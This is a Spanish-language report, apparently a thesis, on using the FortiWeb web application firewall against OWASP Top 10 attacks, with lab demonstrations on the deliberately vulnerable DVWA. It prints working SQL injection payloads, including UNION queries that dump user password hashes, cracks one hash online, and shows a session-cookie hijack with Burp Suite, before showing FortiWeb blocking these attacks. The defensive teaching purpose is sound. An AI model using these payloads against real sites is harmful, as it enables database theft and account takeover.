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Resumen

En la actualidad el crecimiento de internet ha impactado directamente
en la seguridad de la informacion manejada cotidianamente, sitios de
comercio electrénico, servicios, bancos e incluso redes sociales contienen
informacion sensible que en la mayoria de los casos resulta ser muy

importante una debida proteccion.

Se puede decir que uno de los puntos mas criticos de la seguridad en
Internet son las herramientas que interactan de forma directa con los
usuarios, en este caso los servidores web. Es comun escuchar sobre fallas en
los sistemas de proteccion de los servidores mas frecuentemente utilizados,
por ejemplo, Apache, NGINX, IIS, etc o en los lenguajes de programacion en
gue son escritas las aplicaciones. Sin embargo, la mayoria de los problemas
detectados en servicios web no son provocados por fallas de ninguna de estas
partes, si no que los problemas se generan por malas practicas de parte de

los programadores.

Debemos entender que programar aplicaciones web seguras no es
una tarea facil, ya que requiere por parte del programador, no s6lo cumplir con
el objetivo funcional basico de la aplicacion, sino una concepciéon general de
los riesgos que puede correr la informacion procesada por el sistema, ante
estas posibles falencias podemos describir el top 10 OWASP sobre las

principales vulnerabilidades de aplicaciones web:

e Inyecciones SQL.

e Autenticacion rota y gestion de sesion.

e Secuencias de comandos entre sitios (XSS).

e Referencias inseguras y directas a objetos.

e Mala configuracion de seguridad.

e Exposicion de datos sensibles.

e Falta de control de acceso a nivel de funcion.
e Solicitud de falsificacion entre sitios (CSRF).

e Usando componentes vulnerables conocidos.
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e Redirecciones no validadas.

Para solventar estas falencias podemos usar los beneficios que nos
brinda Fortiweb para la mitigacion del TOP 10 de amenazas definidas por
OWASP.
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1. Introduccioén

El increible mundo de la web hoy en dia se ha vuelto un complemento
de nuestra vida cotidiana y también en entornos corporativos por esta razon
se crea la necesidad de implementar un sistema que permita mantener mas
seguro este ambito web, esto no quiere decir que la implementacion de una
aplicacion especializada en filtrar ataques web sea un sustitutivo de otras
medidas de proteccibn que debe llevar a cabo los desarrolladores. Las
aplicaciones web sin protecciéon son el punto mas facil de entrada para los
hackers y son vulnerables a muchos tipos de ataques.

El WAF (Web Application Firewall) es un firewall distinto a los de usos
convencionales, que traen seguridad al perimetro de la red corporativa. Un
WAF crea una barrera entre un servicio web y todo el resto de internet. Es un
muro que impide que cualquier usuario malintencionado tenga acceso a su

sitio web o aplicacion de forma no autorizada.

El Web Application Firewall bloquea y protege su aplicacion contra
acciones malintencionadas como manipulacion de contenido visualizado,
inyecciones indebidas en la base de datos de SQL estandar, conocida como
“‘inyeccién de SQL”, algunos tipos de fraudes en el acceso administrativo y

otras tantas especies de ciberataques.

WAF tiene la capacidad de monitorear, filtrar y bloquear
automaticamente el trafico de datos potencialmente malicioso a través de
configuraciones y reglas predeterminadas que pueden impedir facilmente los
atagues mas comunes. De esta forma su empresa evita trastornos con robo
de informacion, aplicacién fuera del aire debido a ataques DDoS, ademas de

disminuir los gastos con infraestructura y recursos operacionales.
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2. Objetivos

El objetivo de este trabajo es describir los beneficios que nos ofrece
implementar en nuestras organizaciones un Fortiweb para la proteccion de

nuestros servicios publicados en Internet como en Intranet.

Se realizara un breve analisis de sus funcionalidades y como nos
protege de las vulnerabilidades mas comunes definidas en el TOP 10 de
OWASP, también validaremos como Fortiweb se alinea a las exigencias de
cumplimiento que pueden ser requeridos por distintas organizaciones, a

continuacién, objetivos secundarios:

e Presentacion de los beneficios de Fortiweb.

e Mecanismos de mitigacion referentes al TOP 10 de vulnerabilidades de
OWASP.

e Cumplimiento de Fortiweb con el estandar PCI DSS.

e Cumplimientos de politicas de seguridad de la informacién de una
organizacion.

e Con la puesta en produccion de Fortiweb se optimizara los recursos de
los servidores backend.

e Mejora en la experiencia de los usuarios al usar los servicios web de

una organizacion.
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3. Marco Teorico

Un WAF (Web Application Firewall) es un dispositivo hardware o
software que permite proteger los servidores de aplicaciones web de
determinados ataques especificos en Internet. Se controlan las transacciones
al servidor web de nuestro negocio. La familia de firewall de aplicaciones web
constituida por los appliances Fortiweb proporciona proteccion completa y
especializada a todos los niveles para las aplicaciones y servicios Web de
pequefas, medianas y grandes empresas, proveedores de servicios de
aplicaciones y proveedores de Software como servicio.

Los modulos de proteccion de aplicaciones web y de firewall XML de
los que dispone FortiWeb protegen las aplicaciones web y los datos e
informacion sensibles publicados en Internet frente a ataques y pérdidas de
informacion y datos criticos. Mediante el uso de avanzadas técnicas para
ofrecer proteccion bidireccional contra ataques complejos y sofisticados como
por ejemplo “SQL injection” y “Cross-site scripting”, las plataformas FortiWeb
ayudan a prevenir robos de identidad, fraudes economicos y espionaje
corporativo. Los dispositivos FortiWweb proporcionan la tecnologia
imprescindible para monitorizar y aplicar las distintas normativas regulatorias,
tanto gubernamentales como de iniciativa privada, asegurar la implantacion
de las practicas de seguridad recomendadas y las adecuadas politicas

internas.

Mediante el uso de las herramientas automaticas de generacion de
informes preconfiguradas y totalmente personalizables que proporciona
FortiWeb es muy sencillo medir el cumplimiento de las normativas
regulatorias, como por ejemplo los estandares PClI DSS (Payment Card
Industry’s Data Security Standard).

Las amenazas a la seguridad de las redes e infraestructuras de las
organizaciones han evolucionado enormemente y suponen una gran amenaza
para las aplicaciones y servicios web, que constituyen el punto de acceso a la
informacion confidencial y critica guardada en las bases de datos de backend.
En respuesta a todas estas amenazas se constituyeron los estandares

regulatorios PCl. Sin embargo, asegurar que las aplicaciones web estan
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completamente libres de vulnerabilidades es complicado debido a la constante
aparicion de nuevas vulnerabilidades, necesidades de parcheos, revisiones
de cddigo, a las presiones del mercado sobre los plazos temporales de las
aplicaciones, la dificultad de la identificacién de vulnerabilidades e incluso las
dificultades de acceso al codigo de las aplicaciones.

Los appliances FortiWeb reducen de forma dréstica el tiempo
necesario para proteger de forma completa los recursos publicos y privados
accesibles a través de Internet de cada organizacion y simplifica enormemente
las tareas asociadas con la implementacién de politicas de seguridad y el

cumplimiento de las distintas normativas regulatorias.

4. Equipos de laboratorio

4.1 Sistema DVWA

Para demostrar el funcionamiento de Fortiweb usaremos el sistema
web vulnerable llamado DVWA, ejecutada desde Metasploitable 2 el cual
tiene como base el sistema operativo Ubuntu, este entorno de pruebas cuenta

con diversos sistemas vulnerables para entrenamiento.

Damn Vulnerable Web App (DVWA) es un reconocido entorno de
entrenamiento en explotacion de seguridad web escrito en PHP y MySQL cuyo
objetivo principal es permitir a programadores y técnicos estudiar e investigar
sobre las diferentes tematicas involucradas en dicho campo en un entorno

completamente legal.

Dvwa permite analizar diversos ataques como:
e Brute Force
e Command Injection
e CSRF
e File Inclusion
e File Upload
e Insecure CAPTCHA
e SQL Injection
e SQL Injection (Blind)
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e XSS (Reflected)
e XSS (Stored)

Instructions

Setup

Brute Force

Command Execution

CSRF

File Inclusion

SAL Injection

SAL Injection (Blind)

Upload

X558 reflected

XSS stored

DVWA Security

PHP Info

About

Logout

Username: admin
Security Level: high
PHPIDS: disabled

Welcome to Damn Vulnerable Web App!

Damn Vulnerable Web App (DVWA) is a PHP/MySQL web application that is damn vulnerable. Its main goals are
to be an aid for security professionals to test their skills and tools in a legal environment, help web developers
better understand the processes of securing web applications and aid teachers/students to teach/learn web
application security in a class room environment.

WARNING!

Damn Vulnerable Web App is damn vulnerable! Do not upload it to your hosting provider's public html folder or
any internet facing web server as it will be compromised. We recommend downloading and installing

onto a local machine inside your LAN which is used sclely for testing.

Disclaimer

We do not take responsibility for the way in which any one uses this application. We have made the purposes of
the application clear and it should not be used maliciously. WWe have given warnings and taken measures to
prevent users from installing DVWA on to live web servers_ If your web server is compromised via an installation
of DVWA it is not our responsibility it is the responsibility of the person/s who uploaded and installed it.
General Instructions

The help button allows you to view hits/tips for each vulnerability and for each security level on their respective
page.

You have logged in as 'admin’

Figura 1. Bienvenida del sistema dvwa

DVWA nos permite trabajar con 3 niveles de seguridad Low, Medium

y High.

Home

Instructions

Setup

Brute Force

Command Execution

CSRF

File Inclusion

SQL Injection

SQL Injection (Blind)

Upload

XSS reflected

XSS stored

PHP Info

About

Logout

Username: admin
Security Level: high
PHPIDS: disabled

DVWA Security @

Script Security
Security Level is currently high.
You can set the security level to low, medium or high.

The security level changes the vulnerability level of DVWA.

| high v || Submit
low
high h
rarmeS

v.0.6 (PHP-Intrusion Detection System) is a security layer for PHP based web applications.
‘You can enable PHPIDS across this site for the duration of your session
PHPIDS is currently disabled. [ ]
[ 1-T ]

(e —
Figura 2. Niveles de seguridad del sistema dvwa
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Como se comprobara mas adelante, estas malas practicas existentes
en el sistema DVWA pueden llevar a brechas de seguridad graves generando
situaciones de peligro para cualquier organizacion. La version del sistema web
DVWA es 1.0.7, vamos a demostrar como Fortiweb puede hacer un hardening
de esta aplicacion.

4.2 Firewall Fortigate

FortiGate es un Firewall basado en hardware o software desarrollado
por Fortinet. El sistema de FortiGate es el Unico sistema que puede detectar
y eliminar virus, gusanos y otras amenazas basadas en contenido, sin afectar
al rendimiento de la red, incluso para aplicaciones en tiempo real como la

navegacion Web. Las soluciones de Fortigate también incluyen:

e Firewall

e Filtrado de contenido

e VPN

e Antivirus

e Antispam

e Deteccion y prevencion de intrusos y gestor de
trafico

e Balanceo de carga

e Alertas por e-mail

Estas caracteristicas hacen de Fortigate la mas rentable, conveniente,

potente y segura de las soluciones de seguridad de red disponibles.

La solucién de seguridad del firewall Fortinet ofrece cobertura a tres
capas: Infraestructura, Usuarios y Aplicaciones. Ofrece un fuerte control y
seguridad desde los endpoints al centro de datos, la nube privada e hibrida y
desde el perimetro a las aplicaciones, proporcionando una gran flexibilidad

para la evolucion de la infraestructura Tl de las organizaciones.

11
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Antivirus

Application

Anti-spam
Control

Security

Intrusion
Prevention

Web
Security

Web Database

Filtering Security
Vulnerability IP Reputation
Management

Global Fortinet Device
Footprint

Figura 3. Funcionalidades de Fortigate

4.3 WAF Fortiweb

Fortiweb reduce el tiempo de implementacion y simplifican la gestion
de la seguridad de su empresa y protege aplicaciones web de ataques
dirigidos a exploits -sean conocidos o desconocidos- mediante la utilizacion

de métodos de deteccion multicapa y correlacionados.

Fortiweb de obtuvo la certificacion ICSA Web Application Firewall,
galardén que representa una prueba del compromiso por defender los mas
altos estandares de seguridad de la industria. El logro de esta certificacion
garantiza que los clientes FortiWeb puedan beneficiarse de las mejores
practicas en la industria de la seguridad informatica para todas sus

necesidades de aplicaciones Web.

Caracteristicas y beneficios de FortiWeb:

e Unico producto que proporciona un moédulo
Vulnerability Scanner dentro del firewall de
aplicaciones web que completa una solucion
completa para PCI DSS 6.6.

¢ Garantiza la seguridad de las aplicaciones web y

12
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contenido de la base de datos. Incluye bloqueo
de amenazas tales como cross-site scripting,
inyeccibn SQL, desbordamientos de bdfer,
denegacion de servicios, y envenenamiento de
cookies, entre otros.

e Cifrado SSL.

e Servidor de equilibrio de carga.

e Compresion de datos.

e Analisis de datos en tiempo real.

FortiWeb VMs

Supported flavors

Vmware

Hyper-V

CitrixXenServer

Open Source Xen

Amazon AWS BYOL/on-demand
Azure BYOL

FortiWeb-4000E
+ 20.0 Gbps

-_ : FortiWeb-3000E + Hardware SSL
Fg%'g‘:zm 000D + 5.0 Gbps + 8 GbE (4 bypass),
: * * Hardware SSL 4 SFP GE, 4 SFP-10
“ FortiWeb-600D - Hardware SSL ; nggizebypass) < ual power
1 %250 Mogs ¢ Dual power 4 SFP GE, 4 SFP-10 + 2TB st
5 — | FortiWeb-400D . 4 GE RJ45 (2 * 6GDE (4bypass), . pyal power e
+ 100 Mbps bypass) 2 SFP

+ 2x2TB storage
« 8GbE + 4 GE SFP * Dual power

FortiWeb-100D + Dual power + 2x2TB storage
» 25 Mbps
+ 4 GbhE

SMB

FiLERTINET

Figura 4. Familia de productos Fortiweb

4.4 Windows 8

Sistema operativo Windows 8 es usado para simular el equipo de un
cliente ubicado en internet, este cliente realizara los ataques al sistema web
DVWA.

Caracteristicas del equipo virtual:

e Disco duro: 20 GB
e Memoriaram: 4 GB

¢ Navegador: Firefox, Google Chrome.

13
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—— VWVWindows- S

Figura 5. Windows 8

5. OWASP

OWASP, es una organizacién sin fines de lucro a nivel mundial. Su
objetivo es promover la codificacion y el endurecimiento de aplicaciones
seguras.

OWASP ha estado creciendo de forma constante desde 2004, y ha
contribuido a proyectos como la aplicacion de educacion de seguridad
WebGoat. Ahora puede encontrar presentadores de OWASP en todas partes,

desde las conferencias oficiales AppSec de OWASP en California.

OUWASP

Open Web Application
Security Project

Figura 6. Logo de Owasp

5.1 OWASP Top 10

El top 10 de OWASP es una lista de vulnerabilidades que los
expertos en seguridad consideran las mas serias amenazas de seguridad
web. OWASP los actualiza periédicamente en funcion de los datos de ataque

disponibles.

Muchas organizaciones grandes, incluida PCI, recomiendan que
analice estas vulnerabilidades y las corrija o defienda en su contra, a

continuacion, el top 10:

¢ Inyecciones SQL.
e Autenticacion rota y gestion de sesion.

e Secuencias de comandos entre sitios (XSS).

14
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e Referencias inseguras y directas a objetos.

e Mala configuracion de seguridad.

e Exposicion de datos sensibles.

e Falta de control de acceso a nivel de funcion.
e Solicitud de falsificacion entre sitios (CSRF).
e Usando componentes vulnerables conocidos.

e Redirecciones no validadas.

6. Arquitectura de red

Fortiweb estara implementado en modo Reverse Proxy, al tener
capacidades de firewall especificas de TCP y HTTP, FortiWeb no esta
disefiado para proporcionar seguridad a aplicaciones que no son HTTP, debe
implementarse detras de un firewall, como FortiGate, que se enfoca en la
seguridad de otros protocolos que pueden reenviarse a los servidores back-
end, como FTP y SSH.

Client Administrator ;\‘
A A

E//@ l'\l ll/f@ |||

I‘I‘/\'\ ’l|/\'~

€ ¢ s

h O h e

Iy N/
b LN

FortiGate
§.f FORTIEURRAD.

SUBSCRIPTION SERVICES

@. Protected Web
: Servers

Figura 7. Arquitectura de red
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7. Ataques de inyeccion SQL
7.1 Inyeccion SQL

Esta vulnerabilidad consiste en inyectar cédigo SQL invasor dentro del
codigo SQL programado con el objetivo de alterar la funcionalidad del sistema.
Este tipo de intrusion normalmente es de caracter malicioso y, por tanto, un
problema de seguridad informéatica. Un programa o sistema web que no haya
sido validado de forma correcta podra ser vulnerable y la seguridad del
sistema (base de datos) no podra ser asegurada.

La intrusion se puede llevar a cabo al ejecutar un programa
vulnerable, ya sea, en ordenadores de escritorio 0 bien en sitios Web. La
vulnerabilidad se puede producir cuando el programador use parametros a
ingresar por parte del usuario, para realizar una consultar de la base de datos.
En esos parametros es donde se puede incluir el codigo SQL intruso para que

sea ejecutado en dicha consulta.

El objetivo mas comun del cddigo intruso es extraer toda la
informacion posible de la base de datos, aunque tienen mas usos como puede

ser el iniciar sesidon con la cuenta otro usuario, subir una shell al servidor, etc.

A continuacion, veremos como el sistema DVWA es vulnerable a este
tipo de ataque, Una forma rapida y sencilla de ver si la pagina tiene una
vulnerabilidad del tipo SQL Injection es introducir un apostrofe, en el caso de

tener este tipo de vulnerabilidad va a devolver un error de SQL.:

24 192168.1.1:8090/login X &4 FortiWeb - FortiWeb X | 192168.1.1/dwiafulnerabiltes/sc X

€ @ (i) 192.168.1.1/dwa/vulnerabilties/sqli/7id="8:Submit=Submit 0%
1

You have an error in your 80L syntax; check the manual that corresponds to your My3QL server version for the right syntax to use near ''"'' at line 1

Figura 8. Vulnerabilidad sql

16
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En la anterior figura se observa que el mensaje devuelto por el

servidor es que hay un error de sintaxis en la consulta de SQL, por lo tanto,
es vulnerable y se puede proceder con unainyeccién. Hay que tener en cuenta
gue no en todos los casos aparece el error, dependera del tipo de
vulnerabilidad que tenga, ya que en inyecciones avanzadas no muestran nada
enviando una comilla.

A continuacion, se muestran consultas basicas que se usan al hacer
este tipo de ataque:
1'0OR 1=1--
I'OR'1'="1
' OR"='
'OR 1=1--'
'OR 0=0 --'
"OR 'X'='x

Al probar la inyeccién con 1' OR 1=1--' se muestra todos los usuarios

gue hay en la base de datos:

428 192.168.1.1:8090/login X 423 FortiWeb - FortiWeb X B Damn Vulnerable Web App (0 X+ -

& G @ ® 192.168.1.1/dvwa/vulnerabilities/sqli/7id=1"+ OR+1%3D1--"+ &Submit=Submit# o o R o =

\ |

— Vulnerability: SQL Injection

User ID:

1O0R1=1- Submit

More info

Username: admin View Source | Vies: Help
Security Level: low —n—e
PHPIDS: disabled

Figura 9. Muestra de informacién después de ataque

17
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Al usar probar la inyeccion % OR ‘0’="0 tambien se muestras todos

los usuarios de la base de datos:

Damn Vulnerable Web App DV X §2F FortiWeb - FortiWeh X | #aF 192.168.1.1:8090/login x| +

& C @ Noesseguro | 192.168.1.1/dvwa/vulnerabilities/sqli/7id=%25%27 +or+%270%27%3D%270&Submit=Submit# B aa O :

Home Vulnerability: SQL Injection

Beminicton= B User ID:
Setup

%' or'0=0 Submit

Brute Force m ¥
Command Execution £
CSRF

File Inelusion

QL Injection (Bling)
Upload

X3S reflected

XSS stored

BVWA Securlty
PHP Info
About

More info
Logout

Username: acmin
Security Level: low View Saurce. View Help |
PHPIDS: disatled

@M

Figura 10. Muestra de informaciéon después de ataque

Vamos averiguar el nombre de la base de datos como de las
tablas que existen con el codigo ' union select
database(),group_concat(table_name) from information_schema.tables

where table_schema=database()#

423 192.168.1.1:8090/login X | &ZF FortiWeb - FortiWeb x l Damn Vulnerable Web App (0' X =+

< ¢ o @ 192.168.1.1/dvwa/vulnerabilities/sqli/?id="+union +select

-~

] Vulnerability: SQL Injection
Instructions
Setup

User ID:

Submit

Brute Force |
Command Execution |
CSRF |

File Inclusion

SQL Injection (Blind) |
L. —
XSS reflected

X88 stored |

More info

DVWA Security |

PHP Info
About |
Logout |

Username: admin
Security Level: low View Source | View Help.

PHPIDS: disabled

Figura 11. Muestra de informacién después de ataque
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Tenemos como resultado base de datos llamada dvwa y tablas

guestbook, users. Ahora obtendremos los nombres de las columnas de la
tabla usuarios con el cddigo ' union select 1,group_concat(column_name)

from information_schema.columns where table_schema='dvwa' and

table_name='users'#

478 192.168.1.1:8090/login X | &5 FortiWeb - FortiWeb X | @ Damn Vulnerable Web App (' X =+

€« ¢ @ ® 192.168.1.1/dvwa/vulnerabilities/sqli/%id="+union +select+ 1%2Cgroup_concat(column_nam B e - @ In@ =

Hame Vulnerability: SQL Injection
Instructions
Setup

Brute Force

Command Execution |

CSRF

File Inclusion

BT
|

Upload
XSS reflected |

XSS stored

DVWA Security |

PHP Info
Abowt |

Logout

User ID:

Submit

umns where table schema='dvwa' and table name='users'$

More info

Usemame: admin Vi S| Vi |
Security Level: low rca | View Help
PHPIDS: disabled

Figura 12. Muestra de informacion después de ataque

Por ultimo usaremos el codigo ‘or 1=0 union select user,password

from dvwa.users# para poder obtener los usuarios y sus claves obteniendo:

423 192.168.1.1:8090/login X | 2% ForliWeb - Fortieb ¥[8 Domn Vulnerable Web App (0 X+ -8

&« c @ @ 192.168.1.1/dvwa/vulnerabilities/sqli/Zid="or+ 1%3D0+union +select+user¥2Cpassword +fr E so% - o IN @ =

|

Vulnerability: SQL Injection

pethicsons ‘ User ID:

Supmit

More info

Username: admin View Source | View Help
Security Level: low
PHPIDS: disabled

Figura 13. Muestra de informacién después de ataque
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Como logramos observar obtuvimos las claves de los usuarios

cifrados, ahora copiaremos la clave correspondiente a Pablo para interntar
descifrarlos en alguna pégina web que ofresca el servicio como

https://md5online.es/.

X+

< C @ https//mdSonline.es aQ & % Q :

I_ HASHS EN LA BASE DE DATOS:

Descifrar Un MD5 Cifrar MD5 Descifrado En Lista Premium Contéctenos

DESCIFRAR UN MD5

Descifrar un MD5

Introduce tu MD5 y cruza los dedos. :

0d107d09f5bbe40cade3de5c71e9e9b7

letmein
(hash = 0d107d09f5bbe40cade3de5c71e9e9b7)

¢Coémo funciona?

maa0are maw O
Figura 14. Descifrando clave de usuario

Con esto podemos validar como una aplicacion sin buenas practicas
de seguridad puede poner en riesgo el activo mas importante de una

organizacion su informacion.

7.2 Mitigacion de inyeccion SQL

Fortiweb es capaz de bloquear ataques de inyeccion sql a
continuacién vamos a proteger el sistema DVWA de este tipo de ataques,
usaremos la siguiente consulta sqgl ‘or 1=0 union select user,password

from dvwa.users# para verificar si el ataque lograr su objetivo o no:

Vulnerability: SQL Injection

User ID:

or 1=0 union Select use Subrmit

Figura 15. Explotando vulnerabilidad
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Como vemos Fortiweb bloquea el ataque del cliente al ejecutar el

codigo de inyeccion sql.

=% 192.168.1.1:8090/login > 222 FortiWeb - Fortiweb > The URL you requested has been > -+

<« (S @ 192.168.1.1/dvwasvulnerabilities/sqgli/?zid="or+1%3D0+ union + select + user?2(¢
Web Page Blocked!

6 The page cannot be displayed. Please contact the administrator for additional information.

URL: 192.168.1.1/dvwa/vulnerabilities/sqli/
Client IP: 192.168.1.2
Attack ID: 20000008
Message ID: 000000005761

Figura 16. Bloqueo de FortiWeb

Como segunda prueba usaremos la consulta de inyeccion sgl % OR

‘0’="0 y veremos que sucede:

WulnNnerability: SQL Injection

User 1D:

" orr1=1" Sauub it

Figura 17. Explotando vulnerabilidad

Como vemos nuevamente Fortiweb bloqueo el ataque sql.

#-% 192.168.1.1:8090/login X | %1% FortiWeb - FortiWeb X | The URL you requested has been b X | =

— c o ® 192.168.1.1/dvwa/vulnerabilities/sqli/?id='%25+or'1%3D1'&Submit

Web Page Blocked!

The page cannot be displayed. Please contact the administrator for additional information.
URL: 192.168.1.1/dvwa/vulnerabilities/sqgli/
Client IP: 192.168.1.2

Attack [D: 20000008
Message ID: 000000005782

Figura 18. Bloqueo de FortiWeb
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8. Ataque de perdida de autenticacion y gestion de sesiones

8.1 Perdida de autenticacion y gestion de sesiones

Englobaria a todo lo referido en el tratamiento y técnicas de proteccion
de credenciales y como las implementan las aplicaciones. Con lo cual, tendria
gue ver con fallos de implementacion como serian:

e La utilizacion de canales no cifrados para
transmitir credenciales.

e No proteger debidamente las credenciales de
usuarios.

e Mala gestion en la recuperacion de credenciales.

e Exposicion de los ID de sesion (Cookies de

sesion).

Estos fallos nos podrian llevar a que usuarios malintencionados o
algun atacante se hiciera con las credenciales de un usuario 0 un incluso un

administrador del sistema con lo que ello conllevaria.

Serian muchas las formas de conseguir explotar este tipo de
vulnerabilidades puesto que son muchos los fallos los que podrian llevar a que
un atacante se pudiera hacer con las credencial ilicitamente, dichos fallos
podrian ser:

e No utilizacion de HTTPS.
e El envio de contrasefas en texto claro.
e URL con ID de sesion implicitas.

e Credenciales almacenadas sin cifrar.

Veremos como el sistema DVWA no usa una conexion segura y como
un usuario con algunos conocimientos podria obtener la cookie que el servidor

le asigna al iniciar sesion.

Para este tipo de ataque haremos un man in the midle usando la
herramienta Burp Suite la siguiente imagen muestra la cookie proporcionada

por el sistema la cual es una cookie PHPSESSID.
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§23 192.168.1.1:8090/login X &3 FortiWeb - FortiWeb X Damn Vulnerable Web App (DVW/ X + -8
<« ¢ @ ® B 192.168.1.1/dvwa/loginphp 0% e s @ =
S
DVIWA

Username

Password
(@ T3 inspector [ Consola (3 Depurador  {} Editor de estilo (@ Rendimiento Memoria = Red B Almacenamiento ' Accesibilidad 0] = x
w ftrar URLS Il [EEE vTML CSS U5 XHR Tipografia Imégenes Medios WS Ot [ ]Registros persistentes [ | Deshabilitarcaché  Sinregulacion$ HAR $
Estado Método Domino  B] Encabezados  Cookies Pardmetros  Respuesta  Tiempo  Rastreo de pila

G 19216811 Filtrar cookies

184 GET A 192.168.1.1 Cookies en pedido
X PHI 695d7f54f87c3046c83d71410749f0d2
304 GE A 19216811
E
(104] GET & 19216811

@ 4pedidos | 14,718/ 1,60 KB transferido

Figura 19. Detectando cookie del sistema

Realizaremos el login con el usuario admin y vemos lo siguiente.

LA Damn Vulrerable Web App (OVWA) - Login - Mozilla Firefox
Username
Password
_Login.
Waitng for 192.168.1.1
@ Ltlooks ke yo i clean it up For 2 fresh, ke new exper . welcome back! Refresh Frefon. | X
B_o=ces 2 Fies 2 @ Damn Vlnerable ieb A (DVWA) Lo 3w :AO‘T.‘}_‘AE,

Figura 20. Realizando login en el sistema

A continuacibn vemos como podemos capturar facilmente las

credenciales y tambien vemos la cookie en texto plano enviados por el

metodo POST al servidor backend.
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o Burp Suite Free Editionvi.632 (SRCRLY
Bara ntruger Rapeater Wingow el
[ rarges [[Promy | Spider [ Scanner [ ntruder | Repeater | Sequencer | Becoder | Comparer | etender | optons | aerts | coz |
‘wterest [MITRistons] WesSockets hatory | opbors |
[ Fomer taaing 55, mage ane general omary cantert @
|8 ajHest Method | URL |Params |Edited  Status | Length | MIMEtype | Extension  Tibe [Comment [ssL |® Casbies [ Tme | Listener port |
2 mmms2issll POST  [dwwalonnphp @ O sz w4 WML she O 19218811 16191 8082
2 htty /192 1681 1 GET rdvwanniex php a o w 4854 HTML ohp Bamn valnerable we. O 19218811 231454 1. BOS2
Request | Aeszonse |
p AT 0
3
- u; Linux 2686, rv:43.0] Gecko/20100101 Firefox/43.0
Lexnl, apslacation/anl;a=0.9,%/%4=0.8
deflate
Lrdvwa/Login.shp
PHPSESST D=0b0aafic 23678867 068 232185 43377
e application/x-ww- form-urlancoded
CCCCC h: a4z
usernase=sdminspassword=carlossiogin=Login
L
v
2. [l [ [ s search e 2 matenes
| B F @ [ BupSuke FreeEdition 1632 | | Deskiop=Dolphia @ Damn Vulnerable Web App {DVWA) v1.0.7 & w = o q‘@g o e e

Figura 21. Interceptando trafico con Burp Suite

Ahora vamos a copiar la cookie
PHPSESSID=0b70aa8c2387888f968c232185f433f7 vamos a instalar una
extension para el navegador Mozzila Firefox llamado Cookie Manager en el

cual vamos a pegar nuestra cookie.

25 192.168.1.1:8090/login X | 425 Fortiweb - FortiWeb X | Cookie Manager X = - g

¢ @ (© d Extension (Cookie Manager) — moz-extension://b3465078-2707-4f4-9b5a-3c2e332c23e6/cookie-n - U N @ & é}

URL
lihm:fflgz.lﬁﬂ.l.ll

N
Name

PHPSESSID

"

— Value
0b70aa8c23878881968c2321854331
—Domain

(® Host-only cookie for given URL
' (Sub)domains of given URL
(Sub)domains of 192.168.1.1

— Path
Path

®/ (default)
(/Path of given URL
() Custom path: /

— Expiratic

(@ At end of session
O Expiry date:
OMarked for deletion (already expired)

—Flags
] Secure
" hitpOnly

Qama-eite ctatne W . v

Save Cancel

=
< PN

031
14/04/2019

Figura 22. Modificando valor de cookie en la extension
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En otro equipo cliente ingresamos la url del sistema web

192.168.1.1/dvwalinstructions “saltamos la pagina login.php”

425 192.168.1.1:8090/login X &2 FortiWeb - FortiWeb X ‘ @ Nueva pestafia x = -8
¢ @ OW192 168.1.1/dvwa/instructions N nooe 2
~
1
G Buscaren laweb 3

28 Mas visitados >

% Destacados v

0O
ADDONSMOZILLA

Cookie Manager - Consigue esta

v

(e

Figura 23. Ingresando al sistema web

Validamos como sin ingresar las credenciales logramos

acceder al sistema web.

23 192.168.1.1:8090/login X &2} FortiWeb - FortiWeb X Damn Vulnerable Web App (0" X | + -a
& c @ @ 192.168.1.1/ nstructions B e% e Pnd i 0 & =
~
Upload : WRRNING! #
= s
n Do not upload it to your hosting
ieb
oading and installing XAMPF onto a
y for testing.
rt of Damn Vulnerable Web App (DVWR).
b App (DVWA) is free software: you can s ribute it and/oF
Public License as published by w
205
PO P o
ol 14/04/2019

Figura 24. Ingreso correcto al sistema
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8.2 Mitigacién de perdida de autenticacidon y gestiéon de
sesiones

Fortiweb nos permite bloquear ataques basados en cookies y
aplicarlas en un perfil de proteccién. Por ejemplo, una politica puede habilitar
la deteccion de envenenamiento de cookies, cifrar las cookies emitidas por un

servidor de servicios de fondo y agregar atributos de seguridad a las cookies.

Fortiweb nos brinda la opcién de insertar una cookie de seguimiento
adicional a la cookie proporcionada por el servidor backend a continuacion

veremos la cookiesessionl afiadida por nuestro waf.

£7% 192.168.1.1:8090/login X | &2} Fortiweb - Fortiweb X | Damn Vulnerable Web App (OVW/ X | == -9
& c @ ® & 192.168.1.1/dvwa/login php a0% e @t moe =
"

userna

admin

Passuord

......
[® O3 nspector [ Consola (O Depurador  {} Editordeestlo (@ Rendimiento  #k Memoria == Red & Almacenamiento ¥ Accesibilidad ﬂ X
0} ar URLS 1 HTML €SS JS XHR Tipografta Imdgenes Medios WS Otro [ |Registros persistentes [ | Deshabilitar caché  Sinrequlacions HAR %
Estado Método Dominio [B] Encabezados Cookies  Parametros  Respuesta  Caché  Tiempo  Rastreo de pila
200 GET £a 192.168.1.1 Filtrar cookies

Cookies en pedido
APSCOOKIE 86727930 TOUBYPE: 6pZG6192uSNIDPUIVEIFCNWEVIZGakAZSP

N390xPgheINKBx be29FIWmQBDSMUAWFPEGWOQIOZIUHTZUSISVWXY/A=

QgOBKpIZSLCtABGFfp01 sXKIwWFTS6C +kSnue]|j7IXBmTtg
f/url_access/list™){"name""URL Access Rule”," pat

"URL Access Policy”,"path”

waf/url_access_rule/list™}]

@ Unpedido  608B/0B transferido  Fir

[EN e

Figura 25. Cookie insertada por Fortiweb

Como vemos en la imagen anterior se aflade una cookiesessionl,
pero adicionalmente Fortiweb brinda la opcion de cifrar la cookie que envia el
servidor backend dandonos la segura ante posibles ataques de
envenenamiento de cookies y otros tipos de ataques, Fortiweb adicional
proporciona estas técnicas para mitigar este tipo de ataque Autenticaciéon
https, doble factor de autenticacion and kerberos support), pagina de inicio y
orden de paginas, enmascaramiento de informacion sensible en los registros

y Padding oracle protection.
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Ahora veremos como agregamos una autenticacion adicional antes

del inicio en el sistema web, en un Windows Server 2012 tendremos creados
los usuarios que accederan alos recursos, si el usuario no puede autenticarse

no tendré acceso al sistema web.

E Active Directory Users and Computers -|@ X
File Action View Help
G EIEEEIEEEE Y LR
 Active Directory Users and Computers [SRV_AD.Aliada.com.pe]| Name Type Desaription
+ 1 Saved Queries & carlos sulca User
+ & Aliada.com.pe B 6rp sistemas Security ..
Buittin
Computers
& Domain Controllers
3 Finanzas
7 ForeignSecurityPrincipals
" Managed Service Accounts
4l Sistemas
S Users

<| w >

ERACI LA
Figura 26. Usuarios en Windows server

£23 FortiWeb - FortiWeb X |+ -8

&« e o ® 192.168.1.1:1044/index o @R In & @ =

== FortiWeb-VM FortiWeb

